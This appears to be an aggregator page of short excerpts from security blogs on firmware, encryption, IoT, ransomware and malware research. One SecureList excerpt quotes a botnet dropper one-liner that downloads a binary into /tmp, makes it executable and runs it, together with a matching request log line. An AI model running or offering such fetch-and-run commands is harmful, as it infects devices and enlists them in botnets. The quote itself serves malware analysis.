SecureList

JANUARY 17, 2025

Their report is a good starting point for diving deep into the MBUX internals and understanding the architecture of the system. Full information on the MBUX architecture can be found in the KeenLab research. Firmware The MMB runs on Linux, and its filesystems are located on the eMMC. MBUX was previously analysed by KeenLab.

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Backups Architecture Firmware Software 123

SecureList

APRIL 25, 2025

With time, the vulnerabilities were patched, and restrictions were added to the firmware. Attackers are leveraging this by embedding malicious software into Android device firmware. Attackers are now embedding a sophisticated multi-stage loader directly into device firmware. Neither payload is encrypted.

Cryptocurrency 80

Cryptocurrency Malware Firmware Accountability 80

SecureWorld News

JUNE 18, 2025

Attackers with physical access can connect directly to service ports, extract firmware, install malicious hardware modifications, or replace communication modules with compromised versions. Use boot verification and firmware integrity checks to detect unauthorized modifications. Yes, you read that right.

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ForAllSecure

DECEMBER 16, 2020

Whether it be routers, IoT devices or SCADA systems, they are very varied in architecture, use case, and purpose. Netgear N300 MIPS firmware image. What's Special about Firmware? Fuzzing firmware presents a specific set of challenges that are not often present together in other targets. Non-x86 processor architecture.

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Firmware Architecture Engineering Authentication 52

ForAllSecure

DECEMBER 15, 2020

Whether it be routers, IoT devices or SCADA systems, they are very varied in architecture, use case, and purpose. Netgear N300 MIPS firmware image. What's Special about Firmware? Fuzzing firmware presents a specific set of challenges that are not often present together in other targets. Non-x86 processor architecture.

Firmware 52

Firmware Architecture Engineering Authentication 52

SecureList

JUNE 6, 2025

cd /tmp; rm arm7; wget [link] chmod 777 *; /arm7 tbk Typically, bot infections involve shell scripts that initially survey the target machine to determine its architecture and select the corresponding binary. The RC4 key is encrypted with XOR. .%2Farm7%20tbk HTTP/1.1" 200 1671 "-" "Mozila/5.0"

Internet 126

Internet Internet DDOS Malware 126

Security Affairs

DECEMBER 13, 2021

The WiFi chip encrypts network traffic and holds the current WiFi credentials, thereby providing the attacker with further information.” Threat actors can execute code by exploiting an unpatched or new security issue over-the-air, or abusing the local OS firmware update mechanism. ” concludes the paper. Pierluigi Paganini.

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Wireless Firmware Mobile Passwords 116

eSecurity Planet

JULY 25, 2022

This attack relies on a client-server architecture and consists of using other protocols such as TCP or SSH to tunnel malware through DNS requests. DNS Encryption: DoH vs. DoT. To combat DNS attacks, major companies such as Google have pushed forward DNS encryption over TLS (DoT) or HTTPS (DoH). DNS tunneling.

DNS 137

DNS Encryption Penetration Testing Architecture 137

Kali Linux

JUNE 12, 2025

amd64 NOTE: The output of uname -r may be different depending on the system architecture. New Tools in Kali It would not be a Kali release if there were not any new tools added! We can do a quick check by doing: ┌──(kali㉿kali)-[~] └─$ grep VERSION /etc/os-release VERSION_ID="2025.2" " VERSION="2025.2"

VPN 103

VPN Wireless Firmware Authentication 103

Malwarebytes

OCTOBER 5, 2021

United Extensible Firmware Interface (UEFI). UEFI is a specification for the firmware that controls the first stages of booting up a computer, before the operating system is loaded. (It’s Windows 11 comes ready to embrace the impressively-named Pluton TPM architecture.

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Firmware Technology Software Social Engineering 135

SecureList

JUNE 20, 2023

The findings of the study reveal a number of serious security issues, including the use of hard-coded credentials, and an insecure firmware update process. We later managed to extract the firmware from the EEPROM for further static reverse engineering. Further hardware analysis of the circuit board helped us identify chips.

Firmware 106

Firmware Passwords Manufacturing Mobile 106

eSecurity Planet

MAY 19, 2022

Built-in edge security, including encryption , URL filtering, and malware protection Cloud-agnostic branch connectivity, SaaS optimization, and IaaS integrations Application aware enterprise NGFW, Snort IPS, and malware sandboxing Microsegmentation and identity-based policy management Self-healing firmware to prevent exploitation of vulnerabilities.

Firewall 120

Firewall Architecture Encryption Network Security 120

Thales Cloud Protection & Licensing

MARCH 10, 2021

The same rings true for encryption and authentication. Asymmetric encryption may require too much processing power for certain devices, making symmetric keys the only option. Over-the-air (OTA) software and firmware updates must be delivered securely and effectively. weak cryptography, software bugs, malware, etc.).

IoT 77

IoT Firmware Manufacturing Encryption 77

SecureList

MAY 23, 2022

This report includes an analysis of the ISaGRAF framework, its architecture, the IXL and SNCP protocols that are used to program and control ISaGRAF-based devices and to communicate with them. Since authentication data is encrypted with a preset symmetric key, the attacker could decrypt an intercepted target (device) password.

Authentication 111

Authentication Architecture Passwords Encryption 111

Thales Cloud Protection & Licensing

MAY 31, 2021

In our previous blog post , we discussed the challenges for securing IoT deployments, and how businesses and consumers benefit from authenticating and validating IoT software and firmware updates. Requirements also included that the firmware was to be signed by the manufacturer and verified by the pacemaker.

IoT 71

IoT Computers and Electronics Manufacturing Firmware 71

eSecurity Planet

SEPTEMBER 9, 2024

Security Solutions ICS systems are vulnerable to cyberattacks, so security solutions, including firewalls, intrusion detection systems, and encryption protocols, are vital to protect these critical infrastructures from unauthorized access and malicious activities.

Firmware 109

Firmware Encryption Manufacturing Risk 109

SecureList

OCTOBER 25, 2023

It comes equipped with a built-in TOR network tunnel for communication with command servers, along with update and delivery functionality through trusted services such as GitLab, GitHub, and Bitbucket, all using custom encrypted archives. This architectural approach is a hallmark of APT malware.

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Malware DNS Encryption Cryptocurrency 145

eSecurity Planet

OCTOBER 20, 2022

Its table illustration also goes into more detail and notes Google’s responsibility for hardware, boot, hardened kernel and interprocess communication (IPC), audit logging, network, and storage and encryption of data. Also read: Exfiltration Can Be Stopped With Data-in-Use Encryption, Company Says.

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Backups Firewall Encryption Software 128

Thales Cloud Protection & Licensing

NOVEMBER 11, 2020

Currently, there are two technologies that attempt to address this use-case – homomorphic encryption and secure enclaves. While homomorphic encryption has great promise, the practical implementations are limited to very niche solutions that can tolerate additional compute-intensive overhead. Encryption. The Pitfalls.

Architecture 62

Architecture Encryption Technology Firmware 62

Thales Cloud Protection & Licensing

APRIL 20, 2021

Even fewer (19%) told Proofpoint that they had updated their Wi-Fi router’s firmware. These are foundational principles to design next generation security architectures. Encryption. Encryption Key Management. A fifth of survey participants said that they never use it or activated it only when there was no other option.

Mobile 71

Mobile Architecture Data breaches Authentication 71

eSecurity Planet

MARCH 22, 2023

Secure Browsing Access: Connections between users and the internet often will be encrypted using HTTPS connections, making inspection difficult or operationally burdensome for firewalls and other monitoring. End-to-End Encryption: The largest organizations need to deploy additional resources to protect against data theft.

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Firewall Network Security Penetration Testing Encryption 109

eSecurity Planet

JULY 8, 2022

“With a cyberattack, it’s more than just data that needs protecting—at risk is really the entire physical infrastructure from applications and operating systems down to low-level firmware and BIOS. Druva’s metadata-centric architecture supports management and security of data in the cloud with long-term retention, and regulatory compliance.

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Backups Ransomware Technology Marketing 142

eSecurity Planet

MAY 19, 2022

SD-WAN is a virtual architecture for managing a wide-area network covering distributed, hybrid IT environments typical for today’s enterprise organizations. With SD-WAN architectures, branch employees and remote users connect to an enterprise network through a web of connected devices over the internet. What is SD-WAN?

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Firewall Architecture Software Backups 57

CyberSecurity Insiders

SEPTEMBER 21, 2021

Many organizations have opted to converge their IT and OT environments, which can yield many benefits such as efficiency and more elegant architecture; at the same time, these decisions are not without risk. These often use proprietary network protocols and lack basic security controls like authentication or encryption. Conclusion.

Energy and Utilities 101

Energy and Utilities Threat Detection Manufacturing Technology 101

SecureList

SEPTEMBER 21, 2023

Brute-force attacks on services that use SSH, a more advanced protocol that encrypts traffic, can yield similar outcomes. User files were encrypted, with the device’s interface displaying a ransom note demanding payment of 0.03 Cybercriminals seek exploits for zero-day vulnerabilities in IoT devices. BTC to recover the data.

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IoT DDOS Passwords Malware 137

Kali Linux

NOVEMBER 27, 2022

In Secure Kali Pi (2022) , the first blog post in the Raspberry Pi series, we set up a Raspberry Pi 4 with full disk encryption. author: Broadcom Corporation firmware: brcm/brcmfmac*-sdio.*.bin bin firmware: brcm/brcmfmac*-sdio.*.txt We mentioned that we can leave it somewhere as a drop box. wireless LAN fullmac driver.

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Firmware Wireless Passwords VPN 52

SecureList

NOVEMBER 14, 2023

However, instead of encrypting the data, it purposefully destroyed it in the affected systems. The attackers will not just encrypt data; they will destroy it, posing a significant threat to organizations vulnerable to politically driven attacks. They attribute the wiper, named SwiftSlicer, to Sandworm (aka Hades).

Hacking 141

Hacking Energy and Utilities Malware Media 141

Jane Frankland

JULY 17, 2023

Hardware Shield reduces the attack surface and protects against damaging firmware-level attacks while offloading routine security functions for minimal user impact, allowing for continuous productivity.

Technology 130

Technology Computers and Electronics Cybersecurity Risk 130

eSecurity Planet

MAY 2, 2024

Infrastructure Protection Defense against DDoS and DNS attacks starts with effective network security architecture. Ransomware & Data Theft Organizations worldwide continue to feel the pain of ransomware attacks, although many ransomware gangs may be shifting to extortion over data theft instead of encrypted data.

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Cybersecurity DDOS Penetration Testing Ransomware 121

eSecurity Planet

JULY 25, 2023

Ransomware attacks: Ransomware is malware extortion attack that encrypts a victim’s files, demanding a ransom payment in exchange for the decryption key. Architecture model: A diagram or description of the network and system architecture used to understand possible attack surfaces.

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Software Data breaches Ransomware DDOS 98

eSecurity Planet

OCTOBER 11, 2022

Recently, Check Point expanded its NGFW product lines with the introduction of new high-end platforms, and launched the Check Point Infinity Security Architecture, which is designed to protect a company’s entire IT infrastructure. Recent developments. Software features include autonomous threat prevention, simplified configuration, and TLS 1.3

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Firewall Architecture Software Firmware 52

Centraleyes

OCTOBER 7, 2024

Veeam helps ensure business continuity and data integrity with features like encrypted backups and offsite storage. The Intel vPro Platform includes Unified Extensible Firmware Interface (UEFI) Secure Boot and Trusted Platform Module (TPM).

Cyber Risk 52

Cyber Risk Risk Backups IoT 52

Security Boulevard

NOVEMBER 19, 2024

0x110000Retrieves the firmware table using the Windows information class SystemFirmwareTableInformation, iterates the table, and checks if any of its values are present in an embedded blocklist.Uses the Windows information class SystemVhdBootInformation and reads the structure member OsDiskIsVhd to verify if the disk is virtual.0x120000Checks

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Antivirus Encryption Firewall Malware 52

Centraleyes

JUNE 11, 2024

Encrypt and securely store backups offsite to protect critical data from unauthorized access or tampering. Regularly update hardware firmware and retire outdated devices to maintain a secure computing environment.

Risk 52

Risk Cyber Insurance Insurance Authentication 52

ForAllSecure

APRIL 22, 2021

So it gives you a lot of fertile ground to work on, as compared with the mostly heavily encrypted SSL, TLS web components that a lot of websites and apps use. Those have much less security much many fewer capabilities and architectural stability built into them, but again it's, it's the lowest common denominator it's like web 1.0

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IoT Hacking Internet Internet 52

ForAllSecure

APRIL 22, 2021

So it gives you a lot of fertile ground to work on, as compared with the mostly heavily encrypted SSL, TLS web components that a lot of websites and apps use. Those have much less security much many fewer capabilities and architectural stability built into them, but again it's, it's the lowest common denominator it's like web 1.0

IoT 52

IoT Hacking Internet Internet 52

eSecurity Planet

NOVEMBER 18, 2022

firmware (hard drives, drivers, etc.), However, some patches, particularly for infrastructure, firmware, or less common software may not be automatable. While this eliminates many headaches, it does not scan for misconfigurations and may not support other critical updates such as IT infrastructure (routers, firewalls, etc.),

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Firmware Firewall Passwords Risk 145